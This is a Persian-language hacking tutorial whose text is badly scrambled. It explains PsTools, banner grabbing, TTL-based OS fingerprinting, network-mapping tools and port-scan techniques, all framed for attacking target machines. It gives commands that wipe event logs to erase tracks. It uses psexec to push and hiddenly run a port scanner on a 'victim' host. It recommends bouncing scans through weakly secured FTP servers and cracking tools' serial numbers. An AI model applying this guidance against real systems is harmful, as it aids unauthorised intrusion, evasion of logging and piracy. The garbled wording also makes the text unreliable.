ای  ه x وm وdه وط ب ه ترتيب اطلاعات مرب دThread ب ایش ده ن دو را نم ی از ای ا ترکيب ا و حافظه و ی ن ا. ه ه ای د ب م ميتوان زار ه ب
ات                        )  در خط فرمان     Pslist.exeاجرای خالی   ( صورت کلی    ا جزیي د یک پروسه خاص را ب م ميتوان د وه ایش ده ا را نم همه پروسه ه

  :بيشتر نمایش دهد مثلا به این صورت 
C :\> Pslist.exe iexplorer 

  .يد ميتوانيد هر پروسه ای را که دوست دارید بنویسiexplorerشما به جای 
ه          ابی ب ن دستور دست ی استفاده این گونه از ابزار بيشتر در مواقعی که بخواهيم کلمه عبوری را کشف کنيم موثر است زیرا با اجرای ای

افوق    ) یا هر برنامه رمزنگاری دیگر ( LSASSبرنامه   ) PIDیا  ( شناسه فرآیند    ه م ن زمين به راحتی ممکن است البته این ابزار در ای
  !!!ه است از انجمن کرکر ها دکترا گرفت

ود    Task Manager در این ابزار این برنامه را به حالت Sسویچ  د ب ستم خواه ا  ( برده و برنامه دائما در حال نوسازی وضعيت سي دقيق
  ) . در لينوکس است tcpمشابه فرمان 

  . توانایی مشخص کردن زمان نوسازی اطلاعات را برحسب ميلی ثانيه دارد Rسویچ 
  .به نمونه ایی از کاربرد این دوتا با هم توجه کنيد.و سویچ واقعاً در زمينه مشاهده فعاليت های سرور مفيد هستند این د

C :\> Pslist.exe \\xxx.xxx.xxx.xxx s r 10 inetinfo.exe 
C :\> Pslist.exe s r 10 inetinfo.exe 

ار از آخرین وضعيت سرویس     ١٠هر : ميگوید خوب که این فرمان را روی یک سرو اجرا کرده و در جواب به ما     ه  IIS ثانيه یک ب  ب
  .ما اطلاع ميدهد

راه       Tسویچ   د        Thread برنامه را قادر ميکند فرایند را به هم ایش ده ی نم ار روابط     . های مربوطه در قالب یک ساختار درخت ن ک ا ای ب
  .مربوط به اجرای یک پروسه را ميتوان درک کرد 

   :PsKillابزار 
  

  .  قادر است که یک پروسه را نابود کند و یا به حال تعليق درآورد PsSuspend  و یا PsKillتم  با نام ابزار هف
  :مثلا

C :\> pskill.exe notepad 
2 processes named notepad killed. 

  :این برنامه ميتواند با دریافت شناسه فرایند نيز این کار را انجام دهد مثل
C :\> pskill.exe 1764 
Process #1764 killed 
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م است                    د پروسه  دیگر ه ابود شدن چن ال ن شه احتم را همي بهتر است به جای نوشتن اسم پروسه مورد نظر شناسه آن را به کار ببرید زی
  !!در موقع تایپ شناسه باید دقت زیادی کنيد  که اشتباه نکنيد و گرنه دیگه هيچی . چون معمولا به هم ربط دارد

ار را                          البته برای کشف ش    ن ک ر ای ا دستور زی يگم ب م م ناسه فرایند نيز ميتوانيد از فرمانهای که بالا گفتم استفاده کنيد ولی یک بار دیگر ه
  :می توانيد انجام دهيد

C :\> Pslist.exe │ findstr / I notepad 
Notepad 1764  8  1  30  1728  0:00:00.020  0:00:00.020  0:00:07.077 
Notepad 1044  8  1  30  1724  0:00:00.020  0:00:00.020  0:00:07.077 
 Notepad 1796  8  1  30  1728  0:00:00.010  0:00:00.020  0:00:03.4835 
تفاده از        د پس در اس لازم است این نکته را بگویم دوبار که این فرایند حذف یک پروسه تمام پروسه های مربوط با آن را نيز حذف ميکن

  !!!ج بدهيد یا اینکه شما واقعاً نيت تخریب داریداین دقت به خر
ان بعلاوه         PsSuspendفرمان دیگر    ين فرم  است و برای تعليق یک فرایند است و مثل قبلی است شکل نوشتن دستور آن و با نوشتن هم

  . فرایند را دوباره راه می اندازدrسویچ 
  

  .به درد مدیرها ميخورد تا ما ها% ٩٠ضيح نميدهم چون دیگه  است که دیگه این زیاد توPsLogListخوب فرمان بعدی فرمان 
د  Event Log Viewerکلا این برای کنار گذاشتن  ا ميده اک        .   است و وقایع حياتی را نشان م ا را کلا پ د رد پاه ن دستور ميتواني ا ای ب

  :کنيد 
C :\> psloglist.exe –c 

  :البته به صورت ریز تر هم ميشود استفاده کرد مثل دستور زیر .اکه این کلا فایل ثبت وقایع را پاک ميکند محتویات آن ر
C :\> psloglist.exe –c Application 

  !!).اما به شرط ها .این دستور هم از راه دور ميتوان استفاده کرد(کار این نرم افزار که بدرد ما می خورد % ١٠خوب این هم 
  

   :PsExecابزار 
  

دون اغراق     .  استPsExecار  ابزار بعدی که معرفی ميکنم ابز      ن مجموعه است ب زار شما     . این ابزار کار بردی ترین ابزار ای ن اب ا ای ب
د            )  هر برنامه ایی    ! ببخشيد  ( می توانيد یک برنامه      این بکني الا پ انی ب د     ( را روی سيستم قرب ه    !!). منظور راه بيندازی خوب اگر برنام

ارگيری               ی اجازه ب ود حت ا نب د      ) Download( آن مورد علاقه من آنج ا ميده ه م م ب ا راه دور همچون      !!! را ه ایر ابزاره ر خلاف س ب
دارد  DLL در ویندوز ، در مورد این ابزار نيازی به نصب هيچ گونه فایل و یا               rexecفرمانهای معادل    ان  . ( خاصی ن  یکی  rexecفرم

به اجرای برنامه مور نظر ما کرد ، به همين خاطر "  وادار "از فرمانهای مهم هکرها در لينوکس است که با آن ميتوان سيستم عامل را     
تم          د و                       " است که در چند سطر بالا گف د راست ميرن وکس هی ، چپ ميرن ا داشتن لين ه ب ایی را ک رای شما   … حال آنه می  " قمپض  " ب

  .!! "ترکاندند را سر جایشان بنشانی پسرم
ه از             $ADMINالبته زیاد ذوق زده نشوید چون دسترسی به منبع مشترک             ن برنام ه منظور اجرای ای انع احراز هویت ب ور از م  و عب

يم      "  ها لو   " این برنامه یک کمی     . ضروریات است  ميزنه چون هميشه فکر ميکند ما ميخواهيم از آن برای استفاده از راه دور استفاده کن
ن فر  computer nameاز این رو تعيين آرگومان  ان امری واجب است     در الگوی عمومی استفاده از ای تفاده از سویچ    . م ا اس  p– و u–ب

  :مثال. ميتوان نام کاربری و کلمه عبور را وارد کرد
C :\> psexec.exe \\xxx.xxx.xxx.xxx cmd/c dir 

  .   استSYSTEMROOT%\System32%در استفاده از این ابزار مسير اجرای فرمان مورد نظر به طور پيش فرض  
  :مثال های بيشتر 

C :\> psexec.exe \\xxx.xxx.xxx.xxx ipconfig/all 
C :\> psexec.exe \\xxx.xxx.xxx.xxx net use * \\yyy.yyy.yyy.yyy\backups Rch! ve/u: backup 
C :\> psexec.exe \\xxx.xxx.xxx.xxx c:\cygwin\usr\sbin\sshd 

  .هيد قرار د"  " اگر نام یا مسير دارای جای خالی باشد باید آن را درون  
ی از     .مشکل خود را حل کنيد f–   و یا c–اگر مسير را درست بلد نيستيد ميتوانيد با اضافه کردن سویچ  ه یک کپ ن روش اول برنام با ای

ا               f–سویچ  . درست می کند    ) SYSTEMROOT%\System32%( نسخه خود در آنجا      ورد نظر در آنج ه م  در صورت وجد برنام
  . ض می کندنسخه آن را با نسخه ارسالی عو

ه طور کامل توضيح           ( fscanدر مثال زیر پس از بار گذاری برنامه ای با عنوان            . یک مثال ميزنم راه کار آن دست خودتان بياد         دا ب بع
  . مقصد را انجام ميدهدCفرایند اسکن پورت های سيستمهای واقع بر روی شبکه کلاس . بر روی سيستم هدف) ميدهم درباره اش  

  
C :\> psexec.exe \\xxx.xxx.xxx.xxx –c fscan.exe q bpl-10001 –o targets.txt 192.168.0.1- 192.168.0.255 

  
  .را روی ماشين طرف بریزید و اجرا کنيد ) Pstools ازجمله تمام برنامه های ( با این روش ميتوانيد هر برنامه  

  . باعث مخفی اجرا شدن برنامه ميشود Dسویچ 
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  . در قالب یک حساب سيستمی استفاده ميشود برای استفادهSسویچ  
يم                 Iسویچ   دا کن ستم پي ه سي ل      . باعث ميشود دست یابی محاوره ای ب ه های مث ورد برنام تفاده       FTPدر م ور دارد اس ه عب ه کلم از ب ه ني  ک
  .ميشود
    :PsShutdownابزار 

  .   استPsShutdownآخرین ابزار این مجموعه ابزار 
ا از  .  استwindows Resource در مجموعه shutdownابزار کار این ابزار دقيقا شبيه  این ابزار قادر است سيستمی را خاموش و ی

  ...خاموش شدن آن جلوگيری کند و یا لحظه ای یک سيستم را خاموش کند و
وام دو سویچ       .  استفاده می کنيمf–برای خاموش کردن ناگهانی ماشين هدف از سویچ   تفاده ت ا اس زار   y وcاین سویچ مساوی ب رم اف  در ن

shutdown در مجموعه windows Resourceاست .  
  !!!.بقيه اش دیگه تابلو خودتان تجربه کنيد 

  
ی      خوب تا به حال اکثر نرم افزارهای مهم جمع آوری اطلاعات مقدماتی را معرفی کردم در این باب یک کار دیگر هم است که البته خيل

سهای آن و       مهم است و آن اسکن پورت ها برای بدست         از و سروی ورت های ب اره       ...  آوردن ليست پ ی در ب ای کل خوب اول من یک نم
  .انواع اسکن کردن پورت ها  به شما ميدهم تا بعد برسيم  سر معرفی و آموزش چگونگی  استفاده از نرم افزارهای مربوطه 

  
 البته آخرین گام از مرحله کلی جمع آوری اطلاعات ،  حالا هنوز ما در مرحله جمع آوری اطلاعات پایه از هدف هستيم یک گام دیگر و   

ه          شود مرحل ه مي ده گرفت م نادی ه معمولا ه ا ارزش ک ه روش    " که البته خيلی راحت است و بسيار ب  Grabbingجمع آوری اطلاعات ب
Banner " است.  

  
  Grabbing Bannerجمع آوری اطلاعات به روش 

  :مقدمه 
ود        در گذشته نه چندان دور ، جمع آوری        اه آن هستيم ، نب د صباح     .  اطلاعات از سيستم های هدف با سختی آن چه امروز ش ين چن ا هم ت

اده یک   Telnetمدیران سایتها حساسيت خاصی در این باره نداشتند و آدم با یک  ) به غير از سایت های مهم و معروف    ( پيش اصلا     س
سخه آن و دو جين اطلاعات از جمله نام ميزبان ، نوع سيستم عامل و شم          د      ... اره ن رار ميدادن اربر ق ار ک ه طور آزاد در اختي اساس  .را ب

ده              ه یک سرویس دهن از است ک ورت ب رم    ( کار در این روش برپایه اتصال به پورت باز است چون اصولا هنگامی یک پ وع ن یک ن
ده آن را  خوب اگر ما به آن پورت م !!! آن را باز کرده است تا با شبکه تعامل کند           ) افزار کاربردی  تصل شویم تا ببينيم کدام سرویس دهن

دهيم                                 رار ب اجم ق ورد ته ستم آن را م تفاده از نقطه ضعف های آن سي ا اس وانيم ب يم ميت ه در  . باز کرده است و شماره نسخه آن را بفهم البت
  . نوع مورد علاقه خودمونموارد سيستم عامل هم ميتوان شناسایی کرد که آن هم مثل بالای ميشود باهاش تعامل کرد آن هم از% ۵٠

  
  : کم بيش با برنامه دیگری که تخصصی است جایگزین شده است از جمله ميتوان به موارد زیر اشاره کرد telnetامروزه برنامه 

  . ،  استفاده ميشودSHH یا اصطلاحا Secure Shell با عنوان SHHدر موارد بدست آوری اطلاعات از پروتکل 
  .  جهت اتصال به سرور پست الکترونيکی استفاده ميشودpine و یا از برنامه elm mail از برنامه در مورد پست الکترونيکی

  . استفاده ميشودLynxبرای اتصال به وب سرور از برنامه 
و          وارد ميت شتر م ا در بي ه  البته از این دست برنامه بسيار است که برنامه ها نوعی کلاینت برای سرویس دهنده خاصی هستند ، تقریب ان ب

د و               .  استفاده کرد  NCاز   ) telnet(جای این برنامه ضعيف      ا و یکسری اطلاعات را بدست می آورن ا چه کلاینت ه ه ه البته این برنام
نم از هر دو       .  یک سری دیگر که گروه اول از بدست آوری آنها ناکام ميماندtelnetو یا NC برنامه   د ميک ه شما توصيه موک پس من ب

  .د نه یک نوع از آنهانوع استفاده کني
اری              شه اگر ک د همي ه بای البته این را ذکر کنم پویش گر های پورت معمولا این کار را انجام ميدهند ولی من تجربه به خودم ثابت کرده ک

دا         زار شعور ن سئله   را ميتوانيد خودتان انجام دهيد حتما ، خود انجام دهيد نه اینکه بر عهده نرم افزار بگزارید چون ان نرم اف ط م رد و فق
  .های را حل ميکند که یک دفعه برنامه نویس ان برایش حل کرده باشد

  : از شکل عمومی دستور زیر استفاده ميکنيم telnetبرای متصل شدن به یک پورت با استفاده از برنامه 
 
telnet hostname   port number 

  :کل عمومی دستور زیر استفاده ميکنيم  از شNCو برای متصل شدن به یک پورت با استفاده از برنامه 
  

NC [-options] hostname port[s]  
 

ابلو        v– ما فعلا سویچ     [options-]که در این مورد به جای        ه ت م ک ا ه ين        .  را ميگزاریم بقيه چيزه ان هم د از پای نم بع ن را ذکر ک ه ای البت
  . را ميدهمNCمطلب آموزش کامل 

  : است متصل شویمFTP که ٢١ به یک ماشين با پورت telnetو NC ما ميخواهيم با برنامه یک مثال ميزنم تا قضيه روشن شود ، 
C :\> telnet xxx.xxx.xxx.xxx 21 
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C :\> NC –v xxx.xxx.xxx.xxx 21 
  :خوب در جواب برنامه اول این گونه جواب ميدهد 

Connected to xxxxxxxxxx  
220 ftp29 FTP server (UNIX(r) System V Release4.0) ready. 
SYST 
215 UNIX Type: L8 Version: SUNOS 

ی     .( خوب ما فهميدیم که این سرور  از چه نوع سيستم عامل و از چه برنامه ای برای سرویس دهی استفاده ميکند         ه خيل ایی ک رای ان ه ب
  )ردند تا سرور هک کنند برای آن بگExploitعجول اند در این مرحله ميتوانند بروند و دنبال حفره های این برنامه و 

ه               Ncبر نامه    ن برنام نم ای ن ذکر ک ردم ای ر از    ) NC(  هم مين جوری جواب ميدهد که من دیگه از آتن صرف نظر ک ی بهت  telnetخيل
ا ر                 . جواب ميدهد  ار ه ه ک ن گون ورت ای ویش گرهای پ ر پ ری اکث ارت بهت ه عب ا البته قابل ذکر است همانگونه که در بالا گفتم تمام و یا ب
  .انجام ميدهند

تفاده از پروتکل   ٨٠برای اتصال به پورت  ال    HTTP  باید بعد از برقراری ارتباط  ما یک سری دستور برای آن با اس ا اصطلاحا انتق ی
  :به مثال زیر توجه کنيد . حواله وب سرور کنيم) Hyper Text Transfer Protocol ( محتوای فرا متن 

C :\> Telnet.exe xxx.xxx.xxx.xxx 80 
Connecting To xxx.xxx.xxx.xxx 
 
HTTP/ 1.1 200 OK 
Date: Tue. 29 Jun 2002 07:18:07 
Server: Apache /1.3.14 (UNIX) (Red-hat/Linux) 
…. 

ه                  ن موضوع است ک ورت   " خوب من این جواب را کوتاه کردم و آخرش به ما یک پيغام ميدهد که حاوی ای سی در روی پ  در ٨٠سروی
خوب در این حالت این سرویس چون ما با اون ارتباط برقرار کردیم ميخواهد ببينه ما چه ميگيم و یا به عبارتی از           " !!! ت  حال اجرا اس  

سيم      Enter را نوشته بعد دو بار GETخوب ما فرمان . ما یک فرمان ميخواهد  زی مينوی ان یک چي ن فرم وی ای در جواب  .  زده البته جل
  .این از این. ند نوشتيم به ما یک جواب ميدهد که در آن جواب ما باید دنبال هدر پروتکل بگردیدچون ما  جلوی فرمان را چرند پر

ود چون آن را                 Telnetاین را ذکر کنم وقتی من به سرویس          سيار دروغين ب تاد ب  همين ماشين وصل شدم اطلاعاتی را که برای من فرس
ا        را پر از هد    etc/issue.net/دست کاری کرده بودن و فایل        ر ها و برچسب های دروغ نوشته بودن که این کار کاملا عملی است پس ت

ستم عامل و                                    وع سي د ن ه ميکني دی ک ه جمع بن ا توجه ب د ب ورت های مختلف آن وصل شده و بع ميتوانيد باید به ماشين هدف خودتان با پ
  .سرویس ها را حدس بزنيد

  
تفاده از ارزش   در این مبحث یک بحث کوچولو دیگر باقی ميماند و آن هم           ا اس ان  TTLشناسایی نوع سيستم عامل ب  است  Ping در فرم

رار داده است                                ی ق د خود را در یک محدوده ای ن فيل ا ارزش ای ستم عامل تقریب ن    . که به این صورت است که هر سي تفاده از ای رای اس ب
ستم را           یک نگاه مياندازید و بعد آن را         TTL را اجرا کرده و به ستون        Pingروش شما فرمان     وع آن سي رده و ن سه ک با جدول پایين مقای

  :مشخص ميکنيد به مثال زیر توجه کنيد 
 C:\>ping xxx.xxx.xxx.xxx 
 
Pinging xxx.xxx.xxx.xxx with 32 bytes of data: 
 
Reply from xxx.xxx.xxx.xxx: bytes=32 time<1ms TTL=128 
Reply from xxx.xxx.xxx.xxx: bytes=32 time<1ms TTL=128 
Reply from xxx.xxx.xxx.xxx: bytes=32 time<1ms TTL=128 
Reply from xxx.xxx.xxx.xxx: bytes=32 time<1ms TTL=128 
 
Ping statistics for xxx.xxx.xxx.xxx : 
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
    Minimum = 0ms, Maximum = 0ms, Average = 0ms 
 

 
  نام سيستم عامل TTLمقدار 

32 Windows 9x/NT Intel 
128 Windows XP PRO & Home 
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128 Windows 2000 
60 Digital Unix 4.0 Alpha 
64 Unisys x Mainframe 
64 Linux 2.2.x Intel 64 
64 FTX(UNIX) 3.3STRTUS 64 
64 SCO Compaq 
128 Netware 4.11 Intel 
60 AIX 4.3.X IBM/R6000 
60 AIX 4.2.X IBM/R6000 
60 Cisco 11.2 7507 

2514255 Cisco 12.0 
60 IRIX 6.x SGI 

  
  . توصيه من برای شناسایی سيستم عامل و سرویس ها است Nmapالبته . خوب همانطور که متوجه شدید این کار دقت زیادی ندارد
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  :نقشه برداری گرافيکی از شبکه هدف 
  

خوب حتما ميدانيد یکی از مراحل حمله به هدف البته یکی از مهمترین مراحل ، شناسایی مقدماتی شبکه هدف می باشد ، البته باز هم 
رداری از شبکه ميباشد ، معمولا این کار در ویندوز با خود این مرحله به بخشهای مجزایی تقسيم ميشود ، که یکی از این مراحل نقشه ب

مشکلات بسياری همراه است چون اکثر قریب به اتفاق افراد فکر ميکنند در ویندوز هيچ ابزاری برای این کار به صورت خود کار 
البته این ابزارها به نظر بنده  وجود داشت ، Cheopsالبته از قدیم برای لينوکس و هم خانواده های آن ابزار معروف !! وجود ندارد 

بيشتر به درد مدیر شبکه ميخورد تا یک هکر ، البته در مواقعی که ما هدف مان تعدادی ماشين در یک شبکه خصوصی باشد نياز مبرم 
ده تری هم  ابزار را به شما معرفی ميکنم البته ابزارهای بهتر و سا٣به شناخت شبکه داریم ، خوب برویم سر اصل مطلب ؛ من اینجا 

 هستند و باید به فکر $$$$وجود دارد اما من ترجيح ميدهم که معروف ها را معرفی کنم تا به درد مدیران شبکه هم بخورد هر سه 
  !!شماره سریال و یا کرک آن باشيد 

  
   :LAN Surveyorمعرفی ابزار 

  

  
  
  

مراه است ؛ ما مانده ایم این دو را چرا همراه این است ، ه ) Timbuktu و VNC( این برنامه به هم راه دو اسب تروا خيلی معروف 
 مورد نظر خود را بزنيد بعد دکمه IPالبته از نقطه نظر امنيتی نه کاربردی ؛ کار با این ابزار خيلی ساده است ، کافی است شما رنج 

OKيات را در اختيار شما قرار ميدهد ؛ آخرین  را فشار دهيد خود برنامه کار را آغاز ميکند و یک نمایش گرافيکی کامل با تمام جزی
قابليت شناسایی انواع سيستم عامل ها ، قابليت شناسایی انواع روتر ها : است که قابليتهای بسيار زیادی دارد از جمله ٩نسخه آن نسخه 

  ...و!!  ، قابليت شناسایی گره های شبکه ، قابليت شناسایی چاپگر ها  و شماره نسخه آن هاو سویيچ ها
  

 مورد نظر بقيه چيز ها مناسب است و توصيه ميکنم تا IPدر شکل زیر صفحه پيکربندی اوليه را مشاهده ميکنيد  که فقط به جز رنج 
  !! وارد نشدید به جزیيات کار این ابزار آن ها را تغيير ندهيد ، از جمله سرعت کار برنامه را 
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بنویسم ، البته کار با این خيلی باید  درباره این صفحه ای ٢٠٠ تا یا ١٠٠هم باید یک خوب اگر بخواهيم درباره این برنامه توضيح بد

  !! داشته باشيد دو روزه همه ان را یاد ميگيرید TCP/IPساده است فقط کمی اطلاعات باید درباره اصول شبکه و 
  

  :در زیر چند تصور از نتایج را مشاهده ميکنيد 
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   :LAN Map Shotابزار معرفی 
  

مثل بالای است امکانت آن البته !! این هم یکی از ابزار های خوب است اما فقط یک مشکل دارد و ان هم فقط با کارت شبکه کار ميکند               
  :کمتر ، به شکل های زیر توجه کنيد 

  

  
  

  !!بعضی از نتایج 
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ا                 SNMPcدر آخر هم باید بگویم برنامه ای وجود دارد با نام             ن دو ت ر از ای م از نظر دقت بهت ات و ه م از نظر امکان ه ه  وجود دارد ک
  .است  
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  : اهداف 
  
  

 .پویش پورت ها و نقاط آسيب پذیری  : دهمفصل  
 

 .انواع شيوه و متد های جستجوی پورت  
 

  .Polite Scanپویش مودبانه  
  .TCP SYS Scanپویش مخفيانه  
 .پویش به روش نقض اصول پروتکل  

  
 TCP FIN SCAN.  
 NULL SCAN.  
 X MAS TREE.   

 
  .TCP Ack Scanپویش به روش  
  .FTP Bounce Scanپویش به روش  

  
   . UDPپویش پورتهای  
  .Nmapمعرفی و آموزش کامل  
  .Net Scan Toolsمعرفی و آموزش  
  .Super Scanمعرفی و آموزش  
  .IpEyeمعرفی و آموزش  
  .FScanمعرفی و آموزش  
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  .UDP Domain Scanمعرفی و آموزش  
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  :انواع شيوه های جستجوی پورت 
  
   ) :Polite Scan(  مکانيزم پویش مودبانه و یا اصطلاحا -١
  

د             TCPرحله ای   در این مکانيزم نرم افزار پویشگر پورت یک ارتباط کامل و سه م             رار می نمای ورت خاص برق خوب  .  با یک شماره پ
  ).پس حتما سرویسی وجد داشته که این پورت باز کرده . ( اگر ارتباط وصل شود پس پورت مربوطه باز است

د وجود  است و یک روال طبيعی دارد احتمال آنکه ماشين هدف دچار اختلال شو      ) TCPاز نظر پروتکل    ( چون این عمل کاملا قانونی      
  .ندارد 

ه              شود ،البت انی مي البته به دلایلی استفاده از این شيوه احتمال لو رفتن شما بسيار زیاد ميشود و زمان زیادی سرف این سه مرحله دست تک
  .نتایج کاملا قابل اطمينان است

  .از نرم افزار های پویشگر پورت% ٩۵روند کاری به صورت زیر است در بيش از 
 .مت ماشين هدف فرستاده شده به سSYNیک بسته  •
ل تنظيم است منتظر جواب      • ه معمولا قاب ه البت ه مدت مشخصی ک زار ب رم اف رددSYN-ACKن ا برگ شود ت اگر جواب .  مي

 .ميشود گفت که بسته است این پورت % ١٠٠نه " احتمالا " دریافت شد پس پورت باز بوده در غير این صورت 
  .ACKانی انجام می شود با فرستادن یک بسته اگر پورت باز باشد مرحله سوم دست تک •
تيم                      • ط ميخواس ا فق ی م وده ول ا آن ماشين ب اط ب خوب حالا چون پورت بازه و ما تا حالا این نرم افزار هر کاری کرده برای ارتب

 . ميدهد ارتباط پایانFIN=1ببينيم این در بازه یا نه ، نه اینکه به هم وصل شویم پس نرم افزار با فرستادن یک بسته 
  
   ) :TCP SYN Scan(  پویش مخفيانه -٢
  

شتر               ه سرعت آن بي ی و البت ه شيوه قبل سبت ب ری است ن در این مکانيزم یا شيوه دو مرحله از دست تکانی انجام می شود و روش امن ت
  :است نسبت به شيوه اول دارای مراحل زیر است 

 . برای هدف ميفرستدSYSیک بسته  •
ه   SYN-ACKبر می کند تا ببيند بسته زمان مشخصی برای جواب ص    • ا ن ورت       . در جواب می آید ی ی پ ه یعن د ک اگر جواب آم

 .باز است
 . را برای هدف ميفرستد و هيچ ارتباطی به وجد نمی آید RESETنرم افزار سریعا بسته  ) SYN-ACK(با باز گشت جواب  •

  
   .TCP پویش به روش نقض اصول پروتکل -٣
  

سته        در دو روش قبلی عمل پویش      تادن یک ب ه فرس ر پای سته     SYS ب رای دریافت ب ود  SYN-ACK  و انتظار ب ن سه   .   استوار ب در ای
  .روش از بسته های استفاده می شود که در حالت عادی هيچ وقت یک دفعه فرستاده نمی شود

  .این روش سه مکانيزم یا شيوه دارد که توضيح ميدهم
  
٣-١- TCP FIN Scan:    
  

ه   . ارسال می شود TCP برای خاتمه یک ارتباط TCP FINی به طور کلی بسته ها ه      " هدوگول " و همان طور ک د یک دفع حکم ميکن
تند           شود                     .این بسته را برای شروع ارتباط نمی فرس يم چه مي ه بين د ب ا بع رده و ت ر عکس ک ه را ب ن شيوه حکم دوگول ق قواعد   . در ای طب

ریم             پروتکل اگر پورتی باز باشد و این بسته را برایش       ی ميب ا عدم دریافت جواب پ اد ب ال زی ا احتم د پس م بفرستيم هيچ جوابی نمی ده
ا جواب                   رای م د ماشی هدف ب تيم بای سته ای بفرس سته یک همچين ب ورت ب ی     RESETپورت باز است اما اگر یک پ ا پ تد پس م  بفرس

  .ميبریم این پورت بسته است 
  
٣-٢- NULL Scan:   
  

این بار برنامه مورد نظر بدون برقراری ارتباط با ماشين هدف یک دفعه برای ماشين   .  است ه دوگول این هم یک مکانيزم بر خلاف حکم      
د                TCPهدف یک بسته     ورت خاص ارسال می کن ای             .  با شماره پورت مشخص برای یک پ ه بيته سته دارای ویژگی های است ک ن ب ای

SYS   و FIN   و ACK   رد      . انين پروتکل    نيست پس یک بسته بی معنی است با توجه به قو           ١ آن وقتی هدف این بسته در پيت ما را ميگي
د    ) RESETیک بسته   ( اگر پورت باز باشد که بسته را حذف ميکند اگر پورت بسته باشد یک پاسخ                 ریم     . به ما ميده ا نتيجه ميگي پس م

  .اگر جواب در یافت نکردیم پورت باز است اگر دریافت کردیم پورت بسته است
  
٣-٣- Xmas Tree:    
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سته         ا یک ب وانين پروتکل م د های       TCPدر این مکانيزم ، که کاملا برعکس بالا است از نظر ق ه فيل تيم ک رای هدف ميفرس   وFIN ب
URGو  PUSH سته را حذف              ١ را با از ب ورت ب ی است پس پ ی معن سته ب وانين آن یک ب ه ق  پر کرده ایم این هم از نظر پروتکل البت

  . به ما ميدهد RESETميکند و پورت بسته یک جواب 
  

  :یک نکته خيلی مهم 
رای     ) نقض اصول پروتکل   ( خوب این روش ها      ی ب ارایی دارد چون وقت شاید خيلی جالب باشد اما فقط برای سيستم های غير ویندوز ک

  . برای ما حواله می کند RESETویندوز ها از این بسته ها بفرستيد در هر حالتی جواب 
  
   :TCP ACK Scan پویش به روش -۴
  

شود  ACKاین مکانيزم یا شيوه تقریبا شبيه سه مکانيزم بالا است با این تفاوت که یک دفعه یک بسته        سته   (  برای هدف فرستاده مي ن ب ای
د چون                  )  فرستاده می شود     SYSمعمولا در جواب بسته      خوب به این ترتيب وقتی ماشين هدف یک دفعه از این نوع بسته دریافت می کن

ن روش دریافت                هيچ در خواست   ا ای ه پس ب د ک سته را حذف ميکن ی نفرستاده بوده که چيزی بخواهد بگيرد سرویس دهنده آن پورت این ب
 برای نرم افزار پویش کننده فرستاده می  RESETنکردن جواب احتمالا نتيجه ميدهد که پورت باز است اگر پورت بسته باشد یک بسته        

  .ی ميبرد که پورت بسته شده استشود و نرم افزار با دریافت این بسته پ
  

انيزم     ا دو مک رد ، ام  TCP SYS Scanاین مکانيزم خوبی است چون می توان با آن از مسيریاب های فيلتر کننده و دیوار آتش عبور ک
  . این امکان را ندارندPolite Scanو مکانيزم 

  
    :FTP bounce Scan پویش به روش -۵
  

ای         این از آن روشهای است که شما ن     تفاده از قابليته ا اس ام نمی شود مگر ب م انج  یک  FTPدر سویس   !! FTPاشناس ميمانيد و این مه
رای یک سرور                        د آن را ب ایلی دریافت کني ستقيما ف ه جای اینکه از یک سرور م ثلا ب سری قابليت هایی است که به شما امکان ميدهد م

د                دیگر بفرستيد خوب این کار را برای این انجام ميدهند که           شود و بع ارگيری مي ر ب ل زود ت  این دو چون سرعت اینترنت زیادی دارند في
  .اینه مکانيزم از این اصل استفاده می کند. ميریزید و بقيه ماجرا CDشما پيش سرور دومی رفته و فایل خود را روی 

  
اط              ده     TCPدر این مکانيزم نرم افزار پویش گر پورت یک ارتب ا سرویس دهن ن را    ( FTP ب د روی ماشين       ای ا بگویم شما بای ين ج هم

ورت    ا   ٢١هدف بدانيد این سرویس فعال پ از و ی د        ...   ب ار کن ه درستی ک ن شيوه ب ا ای ا یک       ) ت د ب رده و از آن ماشين ميخواه رار ک برق
م مي     ( پورت مشخص روی ماشين هدف ارتباط برقرار کند        ورت باشد ه شگر پ د در  این سرویس دهنده هم می تواند روی ماشين پوی توان

ورت   FTPخوب اگر ارتباط برقرار نشود و سرویس دهنده ) یک جای دیگر از شبکه باشد   د پ  به نرمافزار پویش گر پورت اطلاع ميده
اما اگر پورت مربوطه باز باشد ، درآن موقع هميشه یک پاسخ با این مضموم                . پس آن پورت روی ماشين قربانی بسته است       . بسته است   

این .خوب باز هم با دریافت این فایل پویشگر ميفهمد که پورت باز است .  اما امکان تبادل فایل وجد ندارد داده ميشودکه پورت باز است  
  .روش ، روش کاملا مخفيانه ای است چون ماشين هدف با یک ماشين ثالث ارتباط برقرار می کند نه با ما

  :استفاده کنيد چون ما از قابليت ای به نام " هميشه "  وطنی FTPدر این روش هميشه سعی کنيد از سرویس دهنده های 
File-Forwarding استفاده می کنيم و در اکثر اوقات این قابليت روی سرورهای وطنی به علت عدم دانش کافی فعال است اما در بيش 

  .بلوک شده است...) ل ونه مکزیک و برزی!!!!! شيطان بزرگ(اوقات روی سرورهای اروپایی و کانادایی و آمریکایی % ٩٠از 
  
   :udp پویش پورت های -۶
  

سته    tcpروی بسته که حواله ميکنيد برخلاف      ...  را بدون اتصال می گویند یعنی شما هيچ کنترل و          udpکلا پروتکل    ن ب اید ای  ندارید و ش
  ...در یک خرابه ایی  ، گور به گور شود و یا شاید ترتيب دریافت آنها به هم بخورد و

سته                                این پروتک  ه یک ب ن است ک ا ای ن شيوه ه ا یکی از ای ه م ل چون خيلی ساده است پس امکان اجرای شيوه و متدهای کمی را ميدهد ب
udp      شود اگر پاسخ تاده مي ين       ICMP Port Unreachable برای هدف فرس ه طور یق شود گفت   % ١٠٠٠٠٠ دریافت شود پس  ب مي

يده         پورت بسته است در غير این صورت ميشود فرض کرد پور          سته نرس اید ب ن را چون ش شود گرفت ای ت باز است البته زیاد جدی نمي
  ... آن تمام شده باشد وTTLباشد و یا 

  
ه در               ۶همانطور که در این      ه شرایط خود ک ا توجه ب د ب  مکانيزم به شما آموزش دادم نميشود گفت که کدام مکانيزم بهتر است و شما بای

انواده های آن      . ید که باید از کدام مکانيزم استفاده کنيد    مرحله قبل پيدا کرده اید تصميم بگير       م خ وکس و ه مثلا برای سيستم عامل های لين
  )این یادم رفته بگم من فکر ميکنم روی نسخ جدید این نوع سيستمها این مشکل برطرف شده ( گزینه  نقض اصول پروتکل بد نيست 

